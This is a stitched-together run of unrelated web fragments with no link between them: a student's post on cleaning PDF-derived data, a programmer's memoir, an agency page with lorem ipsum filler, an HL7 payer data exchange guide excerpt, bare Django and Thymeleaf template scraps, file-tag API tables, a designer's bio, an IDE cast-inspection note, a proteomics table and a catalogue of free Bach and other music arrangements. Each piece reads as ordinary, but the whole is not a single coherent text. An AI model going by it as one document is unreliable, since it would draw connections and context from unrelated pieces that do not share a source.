This week in class we spent some time discussing how to import external data, be it in JSON or CSV form, and how engaging in that process would require data scientists to also clean up the data, and ensure that it wasn't filled with Null values, incorrectly formatted information, and bad data. This was very relevant to me, as over co-op I became quite well accustomed to the life of working with data and spending most of my time trying to figure out why data was incorrect or how to clean it correctly so it wouldn't be.
My strongest example comes from an employee packet that the firm I worked for internally published to show new co-ops who their counterparts throughout the firm were. The company hired many, many co-ops, and so this was a useful resource to find others that worked there and see if already had any connections with the other co-ops working at the time. My job was to take that packet, published internally as a pdf, and convert it into a nice visual webpage for co-ops to use. The large nature of the file meant that I couldn't do this work manually, and would thus need to have a function that could create HTML dynamically for me using the information in the pdf. Sounds simple enough, but the work was anything but.
The reason for my difficulties stemmed from the fact that when I first used programs to convert certain parts of the pdf to a usable JSON file, there was a ton of false or mislabeled data. Basically, the pdf would be converted to the more code-friendly JSON, but there were so many unnessesary uses of code, and so many irrelevant parts of the page converted too, that I had to take a closer look at the data. I realized the way it was formatted made different parsers consider many irrelevant parts of the document as important, which really messed with the accuracy of the data being produced.
To resolve that issue, I realized I needed to manually go through the pdf and strip it down to its most basic, unformatted form, so that it was essentially just text-data. This was not exactly ideal, but it did make my job much easier and more manageable. In the end, I realized that, while not the most exciting activity, cleaning data was a vital part of doing data analysis, and without doing it well one can not accurately claim to have analysed their data at all.


My name is Cerek Hillen, and I've been programming since
2010 (when I was only 12). One of my friends, who was
learning to program videogames, invited me to join him
in his pursuit. He began to teach me C++. It didn't take
long for me to surpass his ability. I learned the basics
of program design, file IO, OOP, etc. After learning the
basics, I tried my hand at installing Allegro to finally
pursue making videogames. The difficulty of installing
native bindings frustrated me. This anger towards C++
and the promise that Java was truly cross-platform
fueled my switch in language.
I found, upon beginning to learn Java, that most of what
I learned from C++ still applied. There were still
classes and class hierarchies to design. There were
still files to write to and read from. There were still
game libraries to learn: like
LWJGL.
Thus I began to learn a very archeic form of OpenGL.
Ancient functions were dug up: glBegin()
,
glVertex2f()
, glVertex3f()
,
glEnd()
, and others. I made basic games,
such as Snake and Pong. Soon after I discovered
Slick.
With the streamlined API of Slick, I began to pursue
creating more complex games. Despite it being a
wonderful tool, I was not yet ready.
I had the concepts. I could make classes, I knew about
pointers, recursion, basic algorithm design. I knew how
to write each individual piece of code. But I didn't
know how to manage it. I thought my skillset was just
that of a programmer, not a team manager. But soon it
began to creep on me that I would need to learn at least
basic project management to make anything of note. To
achieve this I switched between languages and projects,
to expand my management ability in different contexts.
Around this time I also started to learn
Haskell.
A wonderful bit of the Haskell community is that they
are so open to helping people with even the most
abstract facets of programming. Not only that, but so
much of the community is comprised of very skilled
programmers (and computer scientists). I submitted
projects for code reviews. They responded with far more
than just Haskell advice. In a way, they taught me how
to manage projects.
Through the Haskell community I developed as a person as
well. I became someone who would much rather be
uncomfortable and learn than stay comfortable and
static. As this piece of my personality became more and
more prevalent, I learned exponentially more about
programming and computer science. I changed from a kid
trying to program games to someone who can really
understand, create, and manage reasonably sized
projects.


We’ve been building unique digital products, platforms, and experiences for the past 6 years.
Art Director
Web Designer
Illustrator
Typographer
Mike combines an expert technical knowledge with a real eye for design. Working with clients from a wide range of industries, he fully understands client objectives when working on a project, large or small.
Tim is an experienced marcoms practitioner and manages projects from inception to delivery. He understands the synergy between great design and commercial effectiveness which shines through on every project.
We mix all detailed things together
Est te congue scaevola comprehensam. No pri simul decore, in partem electram voluptatibus vel esse facer.
We mix all detailed things together
Contact via form below and we will be get in touch with you within 24 hours.


Da Vinci Payer Data exchange - Local Development build (v0.3.7). See the Directory of published versions
The IG will continue to be tested at connectathons and will continue to utilize commonly adopted standards (e.g. US Core profiles) that have been tested by other groups (e.g. Argonaut). USCDI concepts are encapsulated in US-Core Profiles on FHIR Resources. The Vocabulary, Value Sets and codings used in this IG are based on US-Core Profiles. Regardless of the way in which payers store their administrative and clinical information they will need to map it appropriately to these profiles.
In addition, we are creating a supplemental guide to provide more examples of how to populate the resources that are being exchanged based on the nature of the source information (e.g. lab results via V2 transactions, CDA, or claims).
This HL7 specification contains and references intellectual property owned by third parties (“Third Party IP”). Implementers and testers of this specification SHALL abide by the license requirements for each terminology content artifact utilized within a functioning implementation. Terminology licenses SHALL be obtained from the Third Party IP owner for each code system and/or other specified artifact used. It is the sole responsibility of each organization deploying or testing this specification to ensure their implementations comply with licensing requirements of each Third Party IP.
This implementation guide (IG) uses specific terminology to flag statements that have relevance for the evaluation of conformance with the guide:
SHALL indicates requirements that must be met to be conformant with the specification.
SHOULD indicates behaviors that are strongly recommended (and which may result in interoperability issues or sub-optimal behavior if not adhered to) but which do not, for this version of the specification, affect the determination of specification conformance.
MAY describes optional behaviors that are free to consider but where there is no recommendation for, or against, adoption.
It is important to differentiate in the Implementation Guide between identifiers used by the Provider/EMR and those used by the Payer/Health Plan to identify the patient/subject/member.
For the purposes of this IG we will use the following terms:
patient or subject id will be used to express the identifier used by the provider to identify a patient/subject.


{% extends "base.html" %} {% block content %}
The 403 Forbidden error is an HTTP status code which means that accessing the page or resource you were trying to reach is absolutely forbidden for some reason.


Employees
Add Employee
First Name
Last Name
Email
Actions
Update
Delete
Total Rows: [[${totalItems}]]
[[${i}]]
[[${i}]]
Next
Next
Last
Last


{% extends "layout_bsa.html" %} {% block page_title %} Request initial assessment {% endblock %} {% block content %} BETA This is a new service – your feedback will help us to improve it. Back Details of request Enter a title for your request Enter a full description of the change Give some background to enable CAPITA to understand why the change is being raised Detail the requirements of the change The Reason for the change Click for extra guidance (opens in new tab) Start date CON delivery: Enter the date that delivery should start on For example, 31 3 1980 Day Month Year What is the latest business critical deadline? Enter the latest date that the CON can be delivered by For example, 31 3 1980 Day Month Year Do you have budget approval? Click yes if this request has been given budget approval. If budget approval has not been given, click no, and provide the name of a project sponsor Yes No Budget code Enter the budget code that was provided with approval Project sponsor Enter the name of the project sponsor Has this request been assessed before? Click yes if this is a revision of a previous request that failed its assessment Yes No Previous PIP/RFIA number This is the unique identifier assigned to the request Cancel {% endblock %}
BETA This is a new service – your feedback will help us to improve it.
Enter the date that delivery should start on
Enter the latest date that the CON can be delivered by
Click yes if this request has been given budget approval. If budget approval has not been given, click no, and provide the name of a project sponsor
Enter the budget code that was provided with approval
Enter the name of the project sponsor
Click yes if this is a revision of a previous request that failed its assessment
This is the unique identifier assigned to the request
Cancel


{% load bootstrap3 %}
Software engineer Nairobi, Kenya
745 likes
brianna keep going
Soul lover Mombasa, Kenya


Method to query for the Tags to which the file record been linked
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| SchemaFlag | Bool | true | flag value to return the tabular result data with or without the DataTable metadata | |
| FileGID | Text | 50 | true | the global ID value of the file record |
| Return Name | Data | Description | ||
| FileTags.GetAssigned.base_DEFAULT | DataTable | all Tag records assigned to the file record, or an error message |
Method to query for the Tags to which the file record has not been linked
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| SchemaFlag | Bool | true | flag value to return the tabular result data with or without the DataTable metadata | |
| FileGID | Text | 50 | true | the global ID value of the user account |
| Return Name | Data | Description | ||
| FileTags.GetAvailable.base_DEFAULT | DataTable | all DataGroup records that have not been assigned to the user account, or an error message |
Method to query for a batch of source records that are newer than the placeholder value
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| SchemaFlag | Bool | true | flag value to return the tabular result data with or without the DataTable metadata | |
| SourceDB | Text | 50 | true | the name of the database to be queried for source records |
| StartID | Long | true | the row_id value of the last source record processed | |
| BatchSize | Int | true | the maximum number of records to return as a batch | |
| Return Name | Data | Description | ||
| FileTags.GetSource.base_DEFAULT | DataTable | a batch of records newer than the placeholder value |
Method to query for the existence of duplicate FileTag records
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| Return Name | Data | Description | ||
| FileTags.Duplicate.base_DEFAULT | DataTable | the results of the scan for duplicate records |
Method to query for the total number of source records in the destination table
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| SrcDBName | Text | 50 | true | the unique name of the database to be queried |
| Return Name | Data | Description | ||
| FileTags.GetDestCounts.base_DEFAULT | Int | comma delimited list of the max src_id value and total count of records from the source database in the destination table |
Method to query table for the total number of source records less than the EndID (row_id) value in the source table
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| SrcDBName | Text | 50 | true | the unique name of the database to be queried |
| EndID | Long | true | the maximum row_id value to be queried | |
| Return Name | Data | Description | ||
| FileTags.GetSrcCounts.base_DEFAULT | Int | comma delimited list of the total count of source records from the source database and the count of records less than the endid in the source table |
Method to assign access to an API method to a role
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| FileGID | Text | 50 | true | the global ID value of the file record |
| TagGID | Text | 50 | true | the global ID value of the tag record |
| Return Name | Data | Description | ||
| FileTags.Assign.base_DEFAULT | Text | returns the action and result code of the insert |
Method to remove access to an API method from a role
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| FileGID | Text | 50 | true | the global ID value of the file record |
| TagGID | Text | 50 | true | the global ID value of the tag record |
| FileTagGID | Text | 50 | true | the global ID value of the assignment record to be deleted |
| Return Name | Data | Description | ||
| FileTags.Remove.base_DEFAULT | DataTable | returns the action and result code of the update |
Method to merge a batch of source records into a destination table
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| SourceRecords | DataTable | true | a batch of source records to be merged into a destination table | |
| StartID | Long | true | the row_id value of the last source record processed (initial placeholder set to zero) | |
| Return Name | Data | Description | ||
| FileTags.Replicate.base_DEFAULT | Text | returns the new placeholder value of the last record merged into the destination table |


I am a UI / UX designer with expertise in product and system design. I love blending analytical and creative thinking to tackle complex challenges and design beautiful solutions that make a difference in people’s lives. My focus is visual design, but my knowledge of user research & user experience design informs my process and work.
I am currently updating my website. Please forgive the unpolished experience, and check back soon for new content. Thank you for your patience!
For the last three years I’ve worked at Big Tomorrow, designing digital products and experiences in healthcare, education and entertainment. I’ve designed for a range of users, from 4-year-olds learning to read to elderly surgery patients, and taken a product from initial brainstorming and user research through delivery and QA with developers.
Previously I worked for Cloud City Development as a UI / UX designer, interned at Amazon Lab126 on the Fire TV design team, and did freelance work for a variety of startups and individuals, designing logos, websites, and presentations.
I received my MFA in Graphic Design from the Academy of Art University in 2014, and my BA in 2010 from Stanford University, in Comparative Literature and Creative Writing. I am a member of AIGA SF, and have taken classes including Tufte’s Presenting Data and Information, and Type@Cooper’s 10-week course on Principles of Typeface Design.
Traveling
Eating
Reading
Art
Civics
Exploring SF
Skiing
Hiking
Designed and coded by Rebecca Pariser
© 2017 All Rights Reserved


Example:
double m(int i) {
return i * 10;
}
After the quick-fix is applied, the result looks like this:
double m(int i) {
return (double) (i * 10);
}
Use the first checkbox below if you wish this inspection to ignore implicit conversion which
can not result in loss of data (e.g.int
->long
).
Use the second checkbox to indicate that this inspection should ignore conversion from
and to char
. Conversion from floating point to char
and vice versa will still be reported.
Use the third checkbox to let this inspection ignore conversion from literals and compile time constants.


| 5747 |
-1.39 |
0.031 |
ERH |
Enhancer of rudimentary homolog |
P84089 |
12 |
5 |
Cell membrane |
Cell cycle/RNA binding |
| 1478 |
-1.50 |
0.0014 |
FLNA |
Filamin-A |
Q8BTM8 |
280 |
11 |
Cytoplasm |
Cell motility |
| 4713 |
-1.56 |
0.023 |
PPIA |
Peptidyl-prolyl cis-trans isomerase A |
P17742 |
18 |
4 |
Cytoplasm |
Protein modification and binding |
| 1260 |
-1.65 |
0.03 |
VINC (VCL) |
Vinculin |
Q64727 |
117 |
21 |
Cytoplasm/cell membrane |
Cell motility |
| 5764 |
-2.07 |
0.031 |
CX6A1 |
Cytochrome c oxidase subunit 6A1, mitochondrial |
P43024 |
12 |
4 |
Mitochondrion |
Metabolism/electron transport change |
| 4213 |
-2.28 |
0.0021 |
VPS28 |
Vacuolar protein sorting-associated protein 28 homolog |
Q9D1C8 |
25 |
3 |
Cell membrane/ Cytoplasm |
Protein transport |
| 4310 |
-2.32 |
0.039 |
PEBP1 |
Phosphatidylethanolamine-binding protein 1 |
P70296 |
21 |
5 |
Cytoplasm |
Nucleotide binding/Protease inhibitor |


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Peter Billam's compositions and arrangements are being offered to you Free, and under particularly generous conditions.
There are pieces by Bach, Brahms, Carr, Joplin, Händel, Liszt, Monteverdi, Schoenberg, Schubert, Scriabin, Telemann, Wilbye, and collections for recorder, piano, trumpet and voice and from the folk tradition.
The
source files for these arrangements are now on github
and can be downloaded by:
git clone https://github.com/peterbillam/pjb_arrangements.git
Der Geist hilft unser Schwachheit auf by J. S. Bach, arranged for SATB-SATB recorders, 2006.
The thrilling, jubilant eight-voice counterpoint of the first movement of this motet, the firm, articulate and vigorous Allabreve fugue, and the supple and sonorous final chorale make this a most exciting piece for the recorder ensemble.
The score and parts are freely available for A4 printers, or for US printers, and in its Muscript source
Forty Chorales by J. S. Bach, arranged for piano, 2006.
It is the chorales (not his trademark fugues), at the frontier between voice-leading and harmony, that lie at the heart of Bach's technique. The SATB-chorales BWV's 26, 262, 104, 4, 274, 121, 288, 18, 303, 43, 145, 306, 155, 310, 60, 32, 315, 318, 330, 371, 228, 376, 245, 378, 382, 386, 387, 307, 62, 390, 396, 400, 402, 394, 180, 413, 414, 248, 437 and 178, are offered here laid out for keyboard. They include the chromaticism of Es ist genug which will reappear in Berg's violin concerto, the extravagant voice-crossings in Christum wir sollen loben schon, the two-and-a-half-bar phrases of Schmücke dich, o liebe Seele, the lovely tune and fluent bass of Sollt ich meinem Gott nicht singen, and much else.
These chorales can be used for a variety of musicianship exercises, such as keyboard sight-reading practice, singing one voice and playing the other three, and so on.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Passacaglia and Fugue in c minor by J. S. Bach, arranged for piano four hands, 2002.
The Passacaglia and Fugue, BWV 582, is one of the first fruits of Bach's early mastery, which sythesises its models, Buxtehude, Reinken, and the French style, but far surpasses them in dramatic intensity, in vigour, in its ability to affect and excite. It is a summit of the organ repertoire, but there is also an important tradition of playing it on stringed keyboard instruments. The manuscript was apparently headed Cembalo e pedale; such instruments are rare these days, but Bach possessed three of them. The american organist E. Power Biggs has recorded the piece on a harpsichord with pedals, and suggests "The music seems equally at home in the sonority of strings or pipes, and it assumes a different individuality in each".
The aim of this arrangement for piano four hands is to make it as practical to sight-read as possible, to minimise the time spent in working out details. The typical four-part texture is shared with two parts to each player, some thought has been given to feasible page turns, some registration decisions, such as adding octaves, have been made, and conflicts between parts have been resolved.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Trio super Herr Jesu Christ, dich zu uns wend by J. S. Bach, arranged for flute and piano, 2003.
Number 5 of the Great Eighteen Chorales is a trio on the hymn-tune Herr Jesu Christ, dich zu uns wend, BWV 655. It fits particularly well onto flute and piano. The top two voices share the same register, and frequently cross, so they need different tone-colours. For practical performance, a separate piano part is supplied with a convenient page turn, and Bach's SATB setting of the hymn (BWV 332) is included.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Vor deinen Thron tret' ich hiermit by J. S. Bach, arranged for piano, 2001.
Bach's final composition, the organ chorale prelude BWV668a, was dictated from his death-bed to his pupil and son-in-law Altnikol. It is offered here in a new edition, arranged for piano. The intensely clear personal expression arising from the assumption of difficult technical constraints, the modesty, and yet also the exploit, of composing with only Martin Luther's notes, the wonderful beauty of the piece and the personal circumstances under which it was written, combine to make this chorale prelude one of the greatest achievements of the western musical tradition.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Fugue for SATB recorders, BWV 689, 2000.
In the 3rd book of J. S. Bach's Clavierübungen, just after the Chorale Preludes and before the 4 Duets, there is this Fugue, on the same hymn-tune subject as the previous chorale prelude, marked Fuga super: Jesus Christus unser Heiland. a 4. Manualiter. It's a lovely fugue, flowing and sonorous, full of gravitas. Here it is transposed from f minor into g minor. Also included is Bach's Chorale setting of the same tune, BWV 363.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
New ! Four Duets from the Clavierübungen Dritter Theil, by J. S. Bach, for keyboard, 2012.
The third book of J. S. Bach's Clavierübungen was published in 1739. It contains twenty-seven pieces. Just after the Chorale Preludes and before the final Fugue, there are four Duets, BWV802, BWV803, BWV804 and BWV805. They are not necessarily for organ; they are just as at home on any keyboard, however, they are mostly known to organists. They are, basically, two-part inventions; but they were written nearly twenty years after the Inventions, and are bigger and musically more ambitious. They are published here because they deserve to become as well known to all keyboard players as the earlier Two-part Inventions already are.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
New ! Six Preludes and Fugues from the first book of the Well-Tempered Clavier, by J. S. Bach, for keyboard, 2014.
Included are the Preludes and Fugues in
C major, d minor, E major, f# minor, Ab major and bb minor;
namely BWV 846, 851, 854, 859, 862 and 867.
The fingering is based on Czerny's, which has great historical importance
and is an amazing source of insightful solutions to intractable problems.
Here it has evolved to make more use of 4-over-5,
and of sliding from a black note down to a neighbouring white note.
This fingering should be useful to newcomers to the
Wohltemperierte Klavier;
it can be safely adopted as a first suggestion,
then gradually adjusted as desired.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Cello Suite I in G-major BWV1007, by J. S. Bach, arranged for flute or alto recorder, 2005.
No-one but Bach has written such rich music for the solo line. Casals observes: "It is fantastic to think that with one note after the other there can be melody, the central voices and the bass all together. A wonderful polyphony !". The first suite, Prelude, Allemande, Courante, Sarabande, Minuets I and II and Gigue, is offered here arranged for Flute or for Alto Recorder.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Cello Suite II in d-minor BWV1008, by J. S. Bach, arranged for flute or alto recorder, 2007.
The second suite, Prelude, Allemande, Courante, Sarabande, Minuets I and II and Gigue, is offered here arranged for Flute or for Alto Recorder.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Cello Suite III in C-major BWV1009, by J. S. Bach, arranged for flute or alto recorder, 2007.
The third suite, Prelude, Allemande, Courante, Sarabande, Bourées I and II and Gigue, is offered here arranged for Flute or for Alto Recorder.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Flute Sonata BWV 1031 transposed from Eb major into G major for Alto recorder and Keyboard, 1999.
The second of Bach's great flute sonatas with obbligato Keyboard is presented here in a major addition to the repertoire of the Alto Recorder. The movements are Allegro Moderato of 71 bars, Siciliano of 33 bars, and an Allegro of 143 bars.
The score and part is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Flute Sonata BWV 1032 transposed into C major for Alto recorder and Keyboard, 1999.
The third of Bach's great flute sonatas with obligato Keyboard. The first movement Vivace, which is incomplete in the manuscript, here receives a new completion (bars 63 to 88) composed by Peter Billam. There is also a Largo e Dolce of 37 bars, and an Allegro of 255 bars.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Flute Sonata BWV 1032 in A major for Flute and Keyboard, 2000.
The third of Bach's great flute sonatas with obligato Keyboard. The first movement Vivace, which is incomplete in the manuscript, here receives a new completion (bars 63 to 88) composed by Peter Billam. There is also a Largo e Dolce of 37 bars, and an Allegro of 255 bars.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Flute Sonata BWV 1032 in G major for Descant Recorder and Keyboard, 2006.
The third of Bach's great flute sonatas with obligato Keyboard. The first movement Vivace, which is incomplete in the manuscript, here receives a new completion (bars 63 to 88) composed by Peter Billam. The Largo could also be played on a Tenor to give a contrasting colour for the slow movement.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Six Chorales with Descant by J. S. Bach, arranged for melody instrument and piano, 2003.
The Chorales from Cantatas BWV's 12 31 85 136 161 and 172 all use a melody instrument as a descant above the SATB voices. They are offered here for players of melody instruments such as flute, oboe, and violin, with the vocal parts arranged for keyboard.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Ricercare a 3, from the Musikalisches Opfer for keyboard, in C minor, 1998.
In the opening piece from the Musical Offering, Bach weaves the King's Theme into a fluent and eloquent three-voice fugue, 185 bars in length, a delight to play.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Ricercare a 6, from the Musikalisches Opfer arranged two pianos, in C minor, 1998.
This is the great six-voice fugue from Bach's Musical Offering, arranged for two pianos. J. S. Bach himself did not specify any instrumentation, but his son Carl Philipp Emmanuel declared the fugue was intended as keyboard music. On one keyboard the voices cross a great deal and tend to lose their identities. This new arrangement divides the voices alternately between the keyboards; each keyboard ends up with what seems like a spare but beautiful 3-voice fugue, and yet they fit together in an astonishing six-voice texture which is one of the great achievements of the western musical tradition.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Ricercare a 6, from the Musikalisches Opfer arranged for sSATBG recorders, in C minor, 1998.
This is the great six-voice fugue from Bach's Musical Offering, one of the pinnacles of the western musical tradition, arranged for six recorders, from sopranino to great bass.
The score and parts are freely available for A4 printers, or for US printers, and in their Muscript source
J. S. Bach, Ricercare a 6, from the Musikalisches Opfer arranged for srings, in C minor, 1998.
This is the great six-voice fugue from Bach's Musical Offering, one of the pinnacles of the western musical tradition, arranged for two violins, two violas and two celli.
The score and parts are freely available for A4 printers, or for US printers, and in their Muscript source
J. S. Bach, Fuga Canonica in Epidiapente, from the Musikalisches Opfer for keyboard and melody instrument (flute, violin, or alto recorder), in C minor, 1998.
This makes only very reasonable demands on the player's techniques, but still endlessly rewards their musicality; the writing is sonorous and fluent, and Bach is at the height of his powers. A strict canon at the fifth between the right hand and the solo line is underlined by the left hand in free couterpoint. The keyboard part is four pages, the solo part two pages. A one-note ossia makes the solo line also accessible to the Alto Recorder. The keyboard part has been carefully fingered.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Contrapunctus 1, from the Art of Fugue for keyboard, 2009.
This is the first fugue from Bach's Art of Fugue, with suggested fingerings for keyboard players.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Contrapunctus 4, from the Art of Fugue for keyboard, 2009.
This is the fourth fugue from Bach's Art of Fugue, with suggested fingerings for keyboard players.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Contrapunctus 9, from the Art of Fugue for keyboard, 2009.
This is the ninth fugue from Bach's Art of Fugue, with suggested fingerings for keyboard players.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Contrapunctus 11, from the Art of Fugue for keyboard, 2009.
This is the eleventh fugue from Bach's Art of Fugue, with suggested fingerings for keyboard players.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Contrapunctus 14, from the Art of Fugue, completed by D. F. Tovey arranged for keyboard, 1998.
This is the final fugue from Bach's Art of Fugue, as completed by D. F. Tovey, the English pianist and composer who died in 1940. As Bach left Contrapunctus 14 when he died, it is a triple fugue, but none of the three subjects is the theme of the Art of Fugue. In 1880, Gustav Nottebohm pointed out that that theme, with one small rhythmic adjustment, fits in counterpoint with the other three subjects. This made it clear that the fugue had been intended by Bach as a quadruple fugue with the theme of the Art of Fugue as the fourth subject, and there have since been several attempts to complete the fugue on this basis. Tovey's completion is of great historical interest, and was previously only been available on C clefs in open score.
Organ players should also check out Michael Ferguson's completion for organ, available from Holbrook and Associates at 2042 University Av West, Saint Paul, Minnesota 55114, USA. Very impressive is the 1998 completion by Zoltán Göncz, first published in the International Journal of Musicology in 1998, and available from Carus Verlag.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Contrapunctus 14, from the Art of Fugue, completed by D. F. Tovey arranged for SATBG Recorders, 1998.
The Bass voice should be doubled by a Great Bass, with each instrument leaving out the notes that lie outside its range. The Alto and Tenor voices divide in the penultimate bar. For more details on the piece see the comments to the keyboard edition. A score corresponding directly to these parts is not available; the keyboard edition is recommended instead.
The parts are freely available for A4 printers, or for US printers, and in its Muscript source
J. S. Bach, Contrapunctus 14, from the Art of Fugue, completed by D. F. Tovey arranged for Violin, Viola and two Cellos, 1998.
For more details on the piece see the comments to the keyboard edition. A score corresponding directly to these parts is not available; the keyboard edition is recommended instead.
The parts are freely available for A4 printers, or for US printers, and in its Muscript source
Johannes Brahms, Fugue in Ab minor for organ; arranged for SATB recorders and viola de gamba, in A minor, 1996.
Brahms wrote his Fugue in Ab minor for Organ around 1846, the year in which Robert Schumann, the great composer and Brahms' great friend, mentor and champion, died after a prolonged period of madness. It is a particularly introverted and searching work, in slow tempo and extremely sombre key. This arrangement is transposed up one octave, as is usual for the recorder, and also up one semitone into A minor.
The score and parts are freely available for A4 printers, or for US printers, and in its Muscript source
Three Chorale Preludes from op122 by J. Brahms arranged for recorders, with earlier settings of the same tunes by Isaac, Bach and Preatorius, 2000.
Presented here are arrangements for recorders of Nr.3, O Welt, ich muss dich lassen, Nr.6, O wie selig seid ihr doch, and Nr.8, Es ist ein Ros' entsprungen, from Johannes Brahms' Eleven Chorale Preludes op. 122, together with earlier settings of the same tunes; Innsbruck, ich muss dich lassen by Heinrich Isaac, O Welt, ich muss dich lassen BWV 97 and O wie selig seid ihr doch BWV 405 by J.S. Bach, and Es ist ein Ros entsprungen by Michael Praetorius.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Divisions on Italian Ground by Robert Carr, from The Delightful Companion published by John Carr in 1682, with continuo arranged for guitar, 1980.
The solo part can be played on Alto Recorder, as foreseen by Robert Carr, or on Flute, making a companion piece for Peter Billam's original composition of the same name, for flute and guitar.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
The Entertainer by Scott Joplin is playable on a guitar, but the fingering needs some working out. This arrangement (in A) is my solution; the left hand is based mostly between fifth and twelfth frets but the open strings are used a lot to fill in intermediate notes in the lines. Works on nylon or steel strings, 2014.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Recorder Sonata No. 5 by G. F. Händel, transposed from Bb into G major for Tenor or Soprano recorder, 2007.
This impeccable sonata, effortlessly fluent and built for enjoyment, is offered here three semitones down in G major, in which key it lies comfortably on a tenor or soprano recorder. This edition represents a real enrichment of the tenor recorder repertoire.
The score and part is freely available for A4 printers, or for US printers, and in its Muscript source
G. F. Händel, Concerto Grosso in A minor op 6 no 4 arranged for harpsichord and recorders, 1998. There is no separate score, direction is from the keyboard.
The parts are freely available for A4 printers, or for US printers, and in its Muscript source
New ! Franz Liszt, Late Piano Pieces
Sometimes condemned, sometimes hailed as "the music of the Future",
these pieces have a fascinating place in music history.
They are very easy to play (compared with most of Liszt),
and most interesting to explore.
Included are La lugubre gondola I,
La lugubre gondola II,
Nuages gris and Unstern,
and also an excerpt from the Fugue on B.A.C.H.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Claudio Monteverdi, Ecco Mormorar l'Onde arranged for SSATB recorders, 1996.
A jublilant celebration of the Renaissance dawn and its messengers, full of confidence and of the beauties of nature.
The score and parts are freely available for A4 printers, or for US printers, and in its Muscript source
Verklärte Nacht by Arnold Schoenberg, Op.4 1899, arranged for piano, 2013.
Arranged for piano from Schoenberg's beautiful original for string orchestra, Verklärte Nacht sounds strikingly pianistic and very effective (check out youtube or the mp3 ...)
New ! Check it out on YouTube at www.youtube.com/watch?v=CSff5XkOUys
The score is freely available
for A4 printers,
or for US printers,
and in its Muscript source
Also available is a synthesiser-generated
mp3 recording.
Schubert Dances for recorders and guitar, 2001.
Taken from the originals for piano, these well-loved pieces will never take the place of the Art of Fugue or the C# minor string quartet Op. 131, but they are a reliable recipe for happiness. Included are Acht Ländler D.378 and Acht Ecossaises D.529 for recorder (mostly Alto) and guitar, the Wiener Deutsche D.128 no 2 (for a group of recorders) and a selection of Fünf Deutsche Tänze from D.971, D.420 and D.769 for two recorders and guitar.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Twenty-Four Schubert Dances arranged for piano four hands, 2003.
These well-loved pieces are offered here in new arrangements for Piano Four Hands, for teaching or social piano playing. Two dances have been chosen in each of the twelve key signatures, one in triple time (a Waltz, Ländler or Deutscher) and one in duple time (an Ecossaise). For four hands, most of these pieces become technically very easy, in fact some of the Ecossaises could serve as first pieces. Musically they remain extremely rewarding, and in a teaching situation offer a solid rhythm, a variety of moods and key-signatures, and a joy of music-making which are hard to match.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Schubert Songs arranged for voice and guitar, 1997.
Includes Nachtstück (Mayerhofer), Nacht und Träume (Collin), An die Laute (Rochlitz) and Fischerweise (Schlechta, for voice and two guitars).
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Two Preludes op.67 by Alexander Scriabin, 1912-3; published here 2011.
These Two Preludes for piano, marked Andante (vague, mystérieux) and Presto (inquiet), were written between the 8th and 9th Sonatas, when Scriabin was living at Beatenberg in Switzerland.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
New ! Five Preludes op.74 by Alexander Scriabin, 1914; published here 2011.
This set of Five Preludes for piano is Scriabin's last completed work, and the end-point of an important change in his musical language. Included is a chordal analysis gleaned largely from Manfred Kelkel's 1978 book. These pieces formed the subject of a talk presented to the Musicological Society of Australia in Hobart, in April 2011.
Synthesiser-performances of no. 1, no. 2, no. 3, no. 4 and no. 5 are available in MP3 format.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Twelve Fantasias for Flute by Georg Philipp Telemann, arranged for recorder, 2001.
Telemann wrote his Fantasias for Flute (TWV 40:2-13) in Hamburg during 1732 or 1733. There are also sets for the Viola de Gamba (1728) and for the Violin (1735), and if Bach had not written his Flute partita, Cello suites and Violin sonatas, the Telemann Fantasias would be the summit of the repertoire for the solo line. The Flute Fantasias are offered here in a new edition for recorder. This C recorder version can of course be read transposing on the alto by using descant fingering, and this may well be the preferred approach for alto players as it saves reading a great number of ledger lines.
The score is freely available for C recorder (e.g. soprano) for A4 printers, or for US printers, and in its Muscript source
Draw On Sweet Night, by John Wilbye, from the Second Set of Madrigals, 1609, arranged for SSATTB recorders.
This particularly sonorous piece is one of the most beautiful achievements of one of the finest of the English madrigalists.
The score and parts are freely available for A4 printers, or for US printers, and in its Muscript source
